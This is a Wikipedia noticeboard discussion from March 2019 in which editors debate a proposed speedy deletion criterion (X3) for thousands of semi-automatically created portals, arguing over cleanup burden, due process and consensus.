::::{{yo|Guilherme Burn}} [[Portal:Cities]] is [https://tools.wmflabs.org/pageviews/?project=en.wikipedia.org&platform=all-access&agent=user&range=latest-90&pages=Portal:Cities totally moribund and unread], and has [[Portal talk:Cities|never had a single participant]]. [[Portal:Architecture]] dates from 2005 and wasn't created by TTH or this tag-team, so wouldn't be deleted regardless (although I imagine [https://en.wikipedia.org/w/index.php?title=Portal:Architecture&oldid=883812193 the enormous wall of pointless links which TTH's bot dumped onto the page a couple of months ago] would be reverted). ‑ [[User:Iridescent|Iridescent]] 14:08, 15 March 2019 (UTC)
:::::{{replyto|Iridescent|BrownHairedGirl}}One portal that does not meet Mfd criteria is enough for me to keep my opinion. [[Portal:Cities]] Although poor visualized is an important and good quality portal and the [[Portal:Sculpture]] (erroneously I quoted another portal) as well.[[User:Guilherme Burn|Guilherme Burn]] ([[User talk:Guilherme Burn|talk]]) 13:20, 20 March 2019 (UTC)
::::::{{yo|Guilherme Burn}} please can you clarify that statement that {{tq|One portal that does not meet Mfd criteria is enough for me to keep}}.
:::::::Are you saying that you are willing to personally scrutinise a few thousand drive-by Portals at MfD in order to find the one which should be kept? Or do you want others to do that work?
:::::::TTH as made it very clear that these portals took on average between one and two minutes each to create ([https://en.wikipedia.org/w/index.php?title=User_talk:Legacypac&diff=next&oldid=885272075] {{tq|Have you tried creating 500 portals? It is rather repetitious/tedious/time-consuming (from 500 to 1000 minutes)}}). So many multiples of that-one-to-two minutes per portal do you think it is fair to ask the community to spend scrutinisng them? And how much of that time are you prepared to give? --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 14:12, 20 March 2019 (UTC)
::::::::{{tq|So many multiples of that-one-to-two minutes per portal do you think it is fair to ask the community to spend scrutinisng them?}}Yes. The community also failed to set criteria for creating portals. What is the difference of [[Portal: Lady Gaga]] to [[Portal: ABBA]]? For me both should be excluded. If the community not had problems to create a portal for a unique singer, why now have problems with someone who has decided to create portals for lot of singers? And to be honest I do not think so much work like that, Mfd can be executed in blocks excluding several portals at the same time.[[User:Guilherme Burn|Guilherme Burn]] ([[User talk:Guilherme Burn|talk]]) 17:11, 20 March 2019 (UTC)
*'''Oppose''' per SmokeyJoe et al. Completely unnecessary to override already existing procedure. '''''[[User:Paine Ellsworth|<span style="font-size:95%;color:darkblue;font-family:Segoe Script">Paine Ellsworth</span>]]'''''<small>, ed. [[User talk:Paine Ellsworth|<sup>put'r there</sup>]] </small> <small>17:12, 15 March 2019 (UTC)</small>
**{{yo|Paine Ellsworth}} the administrative work of trawling through several thousand drive-by-created micro-portals is huge. Cleaning up this flood of portalspam through MFD requires a huge amount of editorial time, vastly more than was involved in creating the spam.
::If you think that existing procedure is fine, why aren't you devoting large hunks of ''your'' time to doing the cleanup by the laborious procedure you defend? --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 02:33, 16 March 2019 (UTC)
::*Because...? I don't know, I guess I think this whole thing is rather more of a knee-jerk reaction than a brainy, measured response. Sure I've done my share of big, teejus jobs for the project and plan to continue (on my terms). I have a lot of respect for editors like yourself and TTH who've been lifting this project out of the primal soup of its beginnings even longer than I have (I went over ten in January, or was it Feb? whatever) and I'm tired of seeing good, solid editors get reamed for their work and retire, just leave or get banned. Don't think it can't happen to you, because as good as you are, neither you nor the rest of us are immune to the gang-up-on-em mentality that turns justice into vengeance 'round here. Think you should also know if you don't already that I'm about 95 farts Wikignome and 5 parts other, and it takes a lot less for us to think we're being badgered and handled. I voted correctly for me and my perceptions, and I don't expect either of us will change this unwise world one iota if you vote you and yours''!'' WTF ever happened to forgiveness? REspectfully, '''''[[User:Paine Ellsworth|<span style="font-size:95%;color:darkblue;font-family:Segoe Script">Paine Ellsworth</span>]]'''''<small>, ed. [[User talk:Paine Ellsworth|<sup>put'r there</sup>]] </small> <small>13:28, 16 March 2019 (UTC)</small>
:::*{{re|Paine Ellsworth}} Thank you for adding the words that I dared not write in case I was next against the wall. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 16:31, 16 March 2019 (UTC)
::::*{{re|Paine Ellsworth|Certes}} I genuinely don't in any way doubt the good faith of either of you.
:::::But it seems to me that the unintended effect of what you are both saying is something like "I am not making any effort to assist the cleanup of this mass portalspam, but I will take the effort to oppose measures which reduce the huge burden on those who are actually doing that necessary cleanup work".
:::::As I say, I do not believe that is what either of you ''intend''. But all I see from either of you is opposition to any restraint on the portalspammer, and opposition to anything which would assist the cleanup. I respect the fine principles from which you two start, but I urge you to consider the effects on the community both of not easing the cleanup burden and of continuing to describe the likes of TTH in positive terms. Look for example at my post in a thread above about the [[#Lack_of_good_faith_from_User:The_Transhumanist]], and at Iridiscent's observation above that of TTH's previous history of spamming useless pages.
:::::As to {{tq|lifting this project out of the primal soup of its beginnings}} ... that's an extraordinary way to describe TTH's spamming of hundreds, if not thousands, of useless, unfinished micro-portals. {{smiley|sad}} --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 22:53, 16 March 2019 (UTC)
::::::I am not making any effort to assist with mass deletions, beyond !voting to delete the clearer cases. We already have enough enthusiasts working in that department. Until recently, I had been adjusting individual portals and enhancing the modules behind them to improve quality, but I slowed down when it became obvious that my contributions in that area will be deleted. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 00:19, 17 March 2019 (UTC)
:::::::So that's as I feared, @[[User:Certes|Certes]]: members of that WikiProject are leaving it to others to clean up the mess created by the WikiProject and its members.
::::::: That only reinforces my impression of a collectively irresponsible project, which doesn't restrain or even actively discourage portalspam, doesn't try to identify it, and doesn't assist in its cleanup.
::::::: That's a marked contrast with well-run projects. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 02:06, 17 March 2019 (UTC)
::::::::{{to|BrownHairedGirl|label1=BHG}} not a surprising perspective, possibly a hasty generalization, however that's not your worst move. Your worst move is to consider "mass deletions" of what you deem "portalspam" as {{du|better}} than the "mass creations" of portals. Who's really to say? As an editor mentions below, "...these portals are doing no harm so great that they can be deleted without due process." So maybe you're wrong about those mass deletions that portray some portals as WMDs instead of the harmless windows into ''Wikipedia'' that they were meant to be? No matter, at present you are part of the strong throng. If you're right, you're right. But what if you and the strong throng are wrong? May things continue to go well with you''!'' '''''[[User:Paine Ellsworth|<span style="font-size:95%;color:darkblue;font-family:Segoe Script">Paine Ellsworth</span>]]'''''<small>, ed. [[User talk:Paine Ellsworth|<sup>put'r there</sup>]] </small> <small>07:01, 17 March 2019 (UTC)</small>
*'''Support''' and also apply it to those created by Northamerica1000, who has made such useless portals as [[Portal:Strawberries]] and [[Portal:Waffles]]. [[User:Reywas92|Reywas92]]<sup>[[User talk:Reywas92|'''Talk''']]</sup> 08:26, 16 March 2019 (UTC)
**{{replyto|Reywas92}} [[user:Northamerica1000|Northamerica1000]] has created only 70 pages in the portal namespace (excluding redirects) in the relevant timeperiod. In no conceivable scenario does that justify a speedy deletion criterion. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 11:58, 16 March 2019 (UTC)
*'''Support''' per F&K (whatever course of action that will result in every portal created in this manner being deleted with the minimal of time and effort required) and SN (nuke from orbit). I'll be honest I don't know enough to know whether it should be a X3 or a P2 or a single MfD list with 4,500 entries... but it should '''not''' need to involve manually tagging pages that were created by a bot or otherwise spending any real time figuring out which should be kept and which should not be kept. Delete them all. If editors feel like this portal or that portal should be kept, let them make the case for undeletion afterwards which can be examined on a case-by-case basis. (If that process is followed, it goes without saying that the portal creator should be banned from making any such undeletion requests.) [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 17:25, 16 March 2019 (UTC)
*:How are we supposed to work out what is worth undeleting, short of downloading all portals in advance lest they be deleted? [[User:Certes|Certes]] ([[User talk:Certes|talk]])
*::If an editor is not aware of a portal existing, then that editor shouldn't be asking for it to be kept. If there are particular portals that editors know they want saved, then they should have an opportunity to request that it be saved. But there should be no one-by-one examination of thousands and thousands of portals created by one user using semi-automatic methods. [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 19:39, 16 March 2019 (UTC)
*:Kill them all and let God sort them out is very much ''not'' the way Wikipedia works and is very much ''not'' the way it should work. Why should the review be restricted to administrators (as your proposal would require)? Why is it preferable to significantly harm the encyclopaedia by deleting good portals than to do the job properly and delete only those that actually need deleting (which are doing significantly less harm by existing than deleting good ones would cause)? [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 18:06, 16 March 2019 (UTC)
*::So let me create several thousand pages semi-automatically, and then I'll put it to you to go through them one by one and tell me which should be deleted and why? I don't think that's how it should work. It should work in reverse. The default should be delete them all, with some process for allowing people to request that particular portals not be deleted. BTW, when I say "all portals" I mean all portals covered by this proposal, not all portals that exist on Wikipedia. [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 19:39, 16 March 2019 (UTC)
*:::If an editor created several thousand pages semi-automatically, the correct sequence of events is to analyse a representative sample to determine whether ''consensus'' is that they are (a) all good, (b) mostly good, (c) all bad, (d) mostly bad, or (e) a mixture. If (a) then no action is necessary, if (b) then individual deletion nominations are the correct response. If (c) then a CSD criterion to remove all of them is appropriate, if (d) or (e) then a CSD affectingly only the bad ones should be explored. In this the situation is somewhere between (d) and (e) depending on your point of view, but this proposal is treating them as (c). As I've said several times, I'm not opposed to a criterion proposed (in the right place) that caught only the bad ones and allowed for objections - that is not this proposal. This situation is frequently compared to Neelix, but the proposal is very different - this one: All pages created between Time A and Time B, unless anyone objects to the optional tagging within 24 hours. Neelix: All pages created between Time A and Time B that would be snow deleted if nominated at RfD, retargetting would not lead to a useful redirect and no other editor has materially edited the redirect. Do you now understand the fundamental difference? Also remember that pages can be tagged by bot. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 20:56, 16 March 2019 (UTC)
*::::Yes. We also need to clarify one important detail of the proposal: would an editor be required to look at the portal before applying CSD, or is there an assumption that everything created by this editor in that time period is automatically rubbish and does not deserve assessment? [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 22:29, 16 March 2019 (UTC)
*:::::If a human being didn't spend a lot of time making a page, then human beings should not spend much time deciding whether to keep it. I put it to you again: suppose tomorrow I create 5,000 new pages and ask you to go through them and decide which to keep and which to delete. That would be insane; this is a website of volunteers; my doing such a thing would be disruptive. It would make work for others. ''Nobody'' reading this thinks it would be a good idea for me to do such a thing. Yet this is what is essentially being asked of us. Insofar as I have a !vote, I !vote no. Delete them all. They are all bad. Any that are good can be recreated as easily as they were created in the first place. Letting people flag keepers in one way or another is a perfectly reasonable way to prevent the baby from being thrown out with the bathwater. But yes, my starting point is that all of them should be deleted because none of them should have been made in the first place, and they do not have content value. Some portals are the product of careful creation and extensive work, but not 5,000 or however-many automatically created by one editor. The quantum portal idea is a much better idea, anyway. [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 02:38, 17 March 2019 (UTC)
*::::::I've alreadyanswered this immediately above, but as you apparently don't like the answer I'll respond again. If you create 5000 new pages in good faith (which TTH did), then the correct response is for others to go through and look at a representative sample, then gain a consensus about whether they are all bad, mostly bad, a mixture, mostly good or all good. This has been done with TTH's portals and while you may think they are all bad that is not the consensus view, especially as others have taken over some and either have improved them or are working on improving them. This means that it is important that only the bad ones are deleted meaning any proposal (such as this one) to delete all of them is overbroad and needs to be opposed. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 10:03, 17 March 2019 (UTC)
*::::::::This statement by Thryduulf is incorrect on many levels. Who has taken over and improved any of his creations? Where is the concensus view that they are not all bad when so far zero of his creations have been kept at MfDs. Where is the proof any of this was in good faith when he admits several sections down that no one (including him) has followed [[WP:POG]] [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 10:38, 17 March 2019 (UTC)
*:::::::::Are you even reading the comments made by those who disagree with you because I'm not seeing evidence of it, especially when it comes to the MfDs (to reiterate, a reviewed selection of the worst pages being deleted by consensus but not unanimously in all cases does not provide evidence of the need for deletion of all of them without possibility of review). [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 16:36, 17 March 2019 (UTC)
*:::::::{{u|Thryduulf}}, so I spend less than 1 minute per page creating 5,000 pages; ''you'' and others spend–what, an hour, cumulatively, at least?–per page to analyze it, discuss it, vote it, close it, and delete it. I spend 5,000 minutes; the community spends 5,000 hours. With all due respect I am flabbergasted to hear such a high-ranked Wikipedian express the view that this is OK or preferred. Even with your representative sample approach, say it's 100 portals that are looked at, that's still 100 hours of labor forced upon volunteers. In my opinion, no one should be allowed to make 5,000 pages without going through something like a BAG process to seek community approval. There was once a time, years ago, when it made sense to, for example, automatically create a stub for every known city and town in the world. I believe that time has long since passed; there are not 5,000 pages that can be created automatically that we need to have that we do not already have (IMO). And as for consensus, if they're not being kept at MfD, the consensus is clear. Those portals that people maintain manually are the same ones that can be flagged as exceptions to a mass-deletion. So I feel like we're on the same page about consensus, but I'm saying the consensus to keep a particular portal can be effectuated by allowing people to flag them as exceptions to mass deletion, whereas you seem to be suggesting: let's get together and spend an hour per portal to decide if it should be kept, even though nobody spent anywhere near that time creating it in the first place. If that's where we are, we'll have to agree to disagree, because I fundamentally don't believe these portals are worth a one-by-one analysis, and I believe the representative sample approach you advocate has been done and has led to the conclusion that these are worth mass deleting with exceptions. I guess that's for a closer to make the ultimate decision about, but for my part, from ''uninvolved'' editors, I'm seeing a lot more support than oppose for mass deletion. [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 14:42, 17 March 2019 (UTC)
*::::::::{{replyto|Levivich}} If you're just going to ignore all the explanations I give in response to you (twice) and all the explanations elsewhere from me and others about why a reviewed selection of the worst being deleted (and not unanimously in all cases) is not evidence of the need for all of them to be deleted without possibility of review by others then it is clear we will never agree. Fortunately, per [[WP:VOLUNTEER]], nobody is being forced to do anything they don't want to do - including you - and it's really disappointing that someone as experienced as you feels the need to ''prevent'' that work being done by others just because you don't want to. Perhaps between now and the time this is closed those in support of this overbroad proposal will actually choose to address the points in opposition but unless they do the only possible outcomes are no consensus or consensus against. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 16:36, 17 March 2019 (UTC)
*:::::::::{{u|Thryduulf}}, I heard you say: pick a representative sample and decide if they're all bad, some bad, etc. As I understand it, a representative sample has been sent to MfD with consensus to delete almost all of them, if not all of them (I'm not sure if lists I've seen are complete). Then you say that just because the sample is all-delete doesn't mean the whole category is all-delete. I infer you think the sample is not well-chosen? By TTH's admission there are like 4,500–5,000 portals, and a tiny tiny percentage of those are being manually maintained–like less than 5%. Are we on the same page about the facts so far? If so, where do you see consensus other than "delete 95% of these things"? Why can't we tag the 100 that are manually maintained and delete the remaining 4,500? I am reading what you're writing, but I am not understanding it. [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 16:44, 17 March 2019 (UTC)
*'''Support''': these portals are easy to create semi-automatedly and contain no information not found in articles so we're not losing any information from Wikipedia, which sets this apart from most other CSD criteria. An alternative proposal I would support is to expand the remit of P2 to apply to any portals with fewer than one-hundred pages under their scope (or alternatively, fewer than one-hundred notable topics if there is evidence that the portal creators and users are planning to create such topics as articles). If a topic doesn't have 100 pages on it at the bare minimum, there's absolutely no reason to focus a portal around it. Even for portals covering tens of thousands of articles, reader interest is very, very low and the current semi-automated busywork is not serving the readers. <span class="nowrap">— '''[[User:Bilorv|Bilorv]]''' (he/him) <sub>[[User talk:Bilorv|('''talk''')]]</sub></span> 19:05, 16 March 2019 (UTC)
**{{replyto|Biorv}} a proposal for expansion of speedy deletion criterion P2 is being discussed currently at [[Wikipedia talk:Criteria for speedy deletion}} (which is where proposals related to speedy deletion criteria ''should'' be held, not AN), so I will refrain from explaining here why I oppose your suggestion to avoid splitting the discussion. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]])
*'''Support with exceptions'''. I support the speedy deletion of all portals auto-created in recent months as it seems excessive and unnecessary. However, those few portals which are manually maintained in good faith should be kept. Down the line we need to take another look at a notability threshold to keep a lid on portalmania. [[User:Bermicourt|Bermicourt]] ([[User talk:Bermicourt|talk]]) 22:37, 16 March 2019 (UTC)
**If you believe there should be exceptions for portals maintained in good faith (and I agree there should be), then you should be opposing this proposal in favour of an alternative one that allows for that. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 22:59, 16 March 2019 (UTC)
*::X3 only covers the mass created automated portals started by TTH so already excludes the type of portal [[User:Bermicourt]] wants to exclude. Thryduulf is muddying the facts. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 23:08, 16 March 2019 (UTC)
*'''Oppose''' because a) on procedural grounds this shouldn't be discussed at the AN "closed shop" and b) because these portals are doing no harm so great that they can be deleted without due process. It is not TTH's fault that the guidelines for portal creation are permissive. [[User:Triptothecottage|Triptothecottage]] ([[User talk:Triptothecottage|talk]]) 02:56, 17 March 2019 (UTC)
*'''Comment''': <s>I have already voted here but</s> I just wanted to provide an example of how much thought was going into the creation of these portals. [[Portal:Aquatic ecosystem]] was created by TTH on Aug 15 2018 and in classified as "Complete" despite having 4 selected images. An identical portal was created at [[Portal:Aquatic ecosystems]] by TTH on Nov 24 and is classified as "Substantial" (the portalspace equivalent of B-class). One wonders, which portal is of better quality, how was this determined, and how was this oversight not caught? —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 13:33, 17 March 2019 (UTC)
*'''Oppose''': Criteria are supposed to be '''uncontestable''' - almost all pages could be deleted under this criterion, according to consensus. Looking at the [https://en.wikipedia.org/w/index.php?limit=50&title=Special%3AContributions&contribs=user&target=The+Transhumanist&namespace=100&tagfilter=&newOnly=1&start=&end= most recent 50 portals created by TTH], I see a lot of frivolous ones, but I also see [[Portal:Pumpkins]], [[Portal:Woodpeckers]], [[Portal:International trade]], and [[Portal:World economy]], all of which represent subjects with well-populated categories. And I could add at least as many that are debatable. If TTH, now under a topic ban, were to create more portals, they could be speedy deleted under [[WP:G4]]. But the pages considered here were created before the ban, so they should stand or fall on their own merits. <span style="font-family:Comic Sans MS; color:grey;">[[User:RockMagnetist|RockMagnetist]]([[User talk:RockMagnetist|talk]])</span> 06:05, 18 March 2019 (UTC)
**{{replyto|RockMagnetist}} I think you mean [[WP:CSD#G5]] (Creations by banned or blocked users) rather than [[WP:CSD#G4]] (Recreation of a page that was deleted per a deletion discussion). [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 14:49, 18 March 2019 (UTC)
***[[WP:CSD#G5]] cannot be used here. The locus of G5 revolves around obliterating the edits of LTA's and sockpupeters and for ban-evasion in a generalized scope. <b style="font-family:monospace;"><< [[User:FR30799386|FR]] <sup>([[User:FR30799386/undo|mobileUndo]])</sup></b> 15:12, 18 March 2019 (UTC)
****G5 can be used to delete pages created in violation of a topic ban, if deletion is the best course of action. I would never use G5 on a page that was a borderline violation, but that's not relevant here (I can't think of any page creation that would be anything other than clear-cut one way or the other). It's all theoretical though as TTH hasn't created any pages in violation of his ban and I think it unlikely they will. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 15:37, 18 March 2019 (UTC)
****{{Reply to|FR30799386|Thryduulf}} My point in mentioning G4 (oops - G5!) was that it is a more appropriate standard for deleting pages based on who created them. The current proposal is too broad. <span style="font-family:Comic Sans MS; color:grey;">[[User:RockMagnetist|RockMagnetist]]([[User talk:RockMagnetist|talk]])</span> 16:09, 18 March 2019 (UTC)
*<s>'''Oppose''' I have gone over many of the portals. It seems that there are a mix of topics which are mainstream and some which should not have been created. This isn't a white or a black issue, the wheat must be carefully separated from the chaff. <b style="font-family:monospace;"><< [[User:FR30799386|FR]] <sup>([[User:FR30799386/undo|mobileUndo]])</sup></b> 12:04, 18 March 2019 (UTC)</s> <small>!vote from sockpuppet struck. [[User:GoldenRing|GoldenRing]] ([[User talk:GoldenRing|talk]]) 10:17, 4 April 2019 (UTC)</small>
:*FR, is there some issue with deleting them without prejudice to re-creating existing ones? These were basically made by a bot in what amounts to a single spasm, so deleting them all could be seen as a BRD reversion. The next step would be to let uninvolved editors recreate any worth keeping. Yes, that might take a while. There is no deadline and if some potentially useful portals have gone uncreated up til now, it's fine if they stay absent a little longer. [[Special:Contributions/173.228.123.166|173.228.123.166]] ([[User talk:173.228.123.166|talk]]) 04:07, 19 March 2019 (UTC)
*'''Oppose''' - the proposal assumes that none of the portals should have been created, and that is an incorrect assumption. Certainly the are some that perhaps should not exist, but equally there are some that definitely should, and some that need a bit of discussion to determine consensus. Speedy deletion is not the way to resolve this. [[User:Waggers|<b style="color:#98F">W</b><b style="color:#97E">a</b><b style="color:#86D">g</b><b style="color:#75C">ge</b><b style="color:#83C">r</b><b style="color:#728">s</b>]][[User talk:Waggers|<small style="color:#080">''TALK''</small>]] 16:45, 18 March 2019 (UTC)
**No, the proposal assumes (correctly) that 95% should never have been created, and that the tiny amount of time spent on those few that might be worth keeping doesn't justify the hours needed to discuss them all at MfD. The ones that get speedy deleted and would be an acceptable portal anyway can easily be recreated if someone really wants them. No effort has gone into creating these portals (usually not even the effort of checking if the result was errorfree, never mind informative or not a duplicate of existing portals), so demanding a week-long discussion for all of them because sometimes the mindless effort created an acceptable result is putting the cart before the horse. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 08:28, 19 March 2019 (UTC)
*::Throwing out the baby with the bathwater is not a sensible solution. Also, given [[WP:PAPER]], could you explain why the existence of these portals is such a problem? This is nothing more than a massive exercise in punishing a user for the crime of trying to improve the encyclopaedia and getting a bit overenthusiastic. It's horrible to see and I honestly thought the Wikipedia community was better than this. [[User:Waggers|<b style="color:#98F">W</b><b style="color:#97E">a</b><b style="color:#86D">g</b><b style="color:#75C">ge</b><b style="color:#83C">r</b><b style="color:#728">s</b>]][[User talk:Waggers|<small style="color:#080">''TALK''</small>]] 11:42, 2 April 2019 (UTC)
*:::The existence of these portals is a problem because they add extra clutter to already link-intensive articles (the lower part of our articles has become more and more overcrowded over the years, with authority links, navboxes, links to sister projects, ...) and removing links with no or very little value makes the articles better and avoids sending readers to utterly useless pages created in a completely mindless manner without oversight or care. Deleting pages which are useless is not "punishing a user", that is a [[WP:OWN]] approach you show there which should not be taken into consideration when debating whether to keep or delete pages. Punishing the user would be blocking or banning them. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 12:10, 2 April 2019 (UTC)
*::::And that is happening (or has happened) too, so my point very much stands. Describing an editor's good faith hard work as "useless" isn't exactly conducive to a civil discussion either. Certainly some of the portals created are worthy of deletion, others are worthy of being kept. I could support a new PROD criterion, but CSD is not the right tool for this job. [[User:Waggers|<b style="color:#98F">W</b><b style="color:#97E">a</b><b style="color:#86D">g</b><b style="color:#75C">ge</b><b style="color:#83C">r</b><b style="color:#728">s</b>]][[User talk:Waggers|<small style="color:#080">''TALK''</small>]] 12:51, 3 April 2019 (UTC)
*'''Oppose'''—CSD is for stuff where there's zero grey area. At best, this should be a specialized PROD. [[User:Gaelan|Gaelan]] [[User_talk:Gaelan|💬]][[Special:Contributions/Gaelan|✏️]] 14:42, 20 March 2019 (UTC)
====Arbitrary break (CSD criterion X3)====
*'''Oppose''' Although the vast majority may not be needed: that does not mean they should just be deleted (without oversight or consensus). The arguments ''for'' this critera seem to be centered around: 'so little work was put into them, therefore we shouldn't need to put in any work to fix it'. Why not just let them sit there then? Is there a deadline? Seeing as portals ''themselves'' are an auxiliary aide to our main focus (of writing articles) this seems unnecessary. I'm surprised that this is (at least) the second time that a [[Private Bill]] has been proposed for the cSd, I guess times have changed a bit. It seems uncollegial to respond to opposers by saying: "then you better help out with all the MfD's'. I agree with the points made by SMcCandlish and RockMagnetist among others. [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 23:54, 20 March 2019 (UTC)
**"Why not just let them sit there then"? Have you actually looked at the pure drivel many of these portals are? Most of these portals are not an "auxiliary aid", they are random shit, bot generated without bot permission but without actual human oversight. Sending ''any'' reader to such total shit is a disgrace. The below image is how one of these portals looks ''right now'', after it has existed for 7 months and after this discussion highlighting many problems has run for a month. Time spent discussing these (time spent looking at these) is time wasted. Any portal which people think is necessary after all can be recreated (in a much better fashion) afterwards, the speedy deletion of these doesn't restrict this. But keeping the shit an editor mass produced because their may be some less shitty pages included is doing a disservice to the people who actually wander to these portals and can only stare in dsbelief at what we show them. "'Calamba, officially the ', (Tagalog: Lungsod ng Calamba), or known simply as Calamba City is a class [[of the Philippines|of the Philippines]] in the province of , . According to the ?, it has a population of people. " [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 09:16, 21 March 2019 (UTC)
:::{{small|have you looked at all the shit that sits in the mainspace (some of it for ''years'')? There are like 182,000 unreferenced articles live right now, but this is the hill we're choosing to die on? [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 21:57, 21 March 2019 (UTC)}}
{{collapse-top|Large in-line image}}
[[File:PortalShit.png|1200px|center|Typical example of the kind of portals spammed across enwiki. Not just the five errors, but also the actual "text" of the lead article...]]
{{collapse-bottom}}
:::Thank you for identifying a problem with a small number of Philippines portals where the lead contains {{tl|PH wikidata}}, a technique designed for use in infoboxes. I'll pass your helpful comments on to the relevant WikiProject. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 11:02, 21 March 2019 (UTC)
::::No, please pass my comment on to all people supporting these portals, but not bothering to actually look at what they propose or defend. Creating and supporting pages with such blatant problems is basically the same as vandalism. There are e.g. also quite a few portals which confront their readers with the below "selected article" (as the default selected article, not even when scrolling deeper). Or with the same image two or three times. Or... The list of problems with these portals is near endless (selected categories only consisting of one redlink? Sure...). The fact that adding a category can cause a page to look completely different and generate different errors (like in the example above) should be a major indicator that this system, used on thousands of pages, is not as foolproof and low in maintenance as is being claimed. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 11:36, 21 March 2019 (UTC)
{{collapse-top|Large in-line image}}
[[File:PortalShit2.png|400px|center|Read more... and weep]]
{{collapse-bottom}}
:::::Thank you for your continued help in identifying portal issues. I have found and fixed three pages which had repeated "Read more" links. If you could be kind enough to reveal which portal you have depicted as "PortalShit2.png", we may also be able to fix that case and any similar ones. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 12:20, 21 March 2019 (UTC)
::::::There are two very simple solutions: either support X3, and all these portals are instantly fixed. Or actually take a look at all these low maintenance, automatic portals of the future, find the many issues, and fix them. Which still won't solve the problem that many of them are utterly ''pointless'', mindless creations of course. I've noted more than enough problems with these portals to wholeheartedly support speedy deletion, since spending any time "corecting" a portal like the Calamba one is a waste of time (as it should be deleted anyway, speedy or not). [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 12:42, 21 March 2019 (UTC)
:::::::{{replyto|Fram}} You are clearly not understanding the opposition to this proposal. It is not about supporting the inclusion of poor content, it is about opposing a speedy deletion criterion that fails the [[Wikipedia talk:Criteria for speedy deletion/Header|criteria for new and expanded criteria]] and would delete content that should not be deleted in addition to content that should. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 13:41, 21 March 2019 (UTC)
::::::::No, I often have trouyble understanding burocratic opposition which creates tons of extra work for very little actual benefit. Furthermore, I'm not convinced that this actually fails the four criteria: it is objective and nonredundant (I guess we all agree on these two?), it is frequent (in the sense that having 3K portals at MfD is quite a heavy load, it's not just one or two pages), so we are left with "Uncontestable", which doesn't mean that as soon ass someone opposes it, it becomes contested, but that "almost all pages that could be deleted using the rule, should be deleted, according to consensus.". Looking at this discussion and the MfDs, I believe this to be true. Opposing this new CSD rule "because it is contested" is circular reasoning, as you are then basically saying "it is contested because it is contested", which is obviously not a valid argument. Having a significant number of portals which fall under the X3 but should not be deleted (which doesn't equal "should never exist", only "should not exist in the current form or any older form in the page history") would be a good argument, but I haven't seen any indication of such. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 13:57, 21 March 2019 (UTC)
:::::::::{{ec}} Frequent is not an issue (it wouldn't be as a permanent criteria, but as a temporary one it's fine), non-redundant is not an issue for most (although a few might be caught by P2 that's not a significant proportion so not a probelm). This proposal (unlike the ones being discussed at [[WT:CSD]]) is objective as written (created by a single user within a defined time period). Uncontestable however very much is, the requirement is "It must be the case that almost all pages that could be deleted using the rule, should be deleted, according to consensus. CSD criteria should cover only situations where there is a strong precedent for deletion. Remember that a rule may be used in a way you don't expect, unless you word it carefully." It is very clear from this discussion and others around these portals that not all of them ''should'' be deleted - several have received strong objections to deletion at MfD, some are argued to be kept and others merged. "it is contested because it is contested" is exactly the point of this requirement - nobody argues in good faith against deleting copyright violations, patent nonsense, recreations, or specific types of articles that don't assert importance. There is consensus that were these to be discussed they would be unanimously deleted every time. There is no such consensus about these portals. Some, perhaps most, should be deleted but not all of them. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 15:47, 21 March 2019 (UTC)
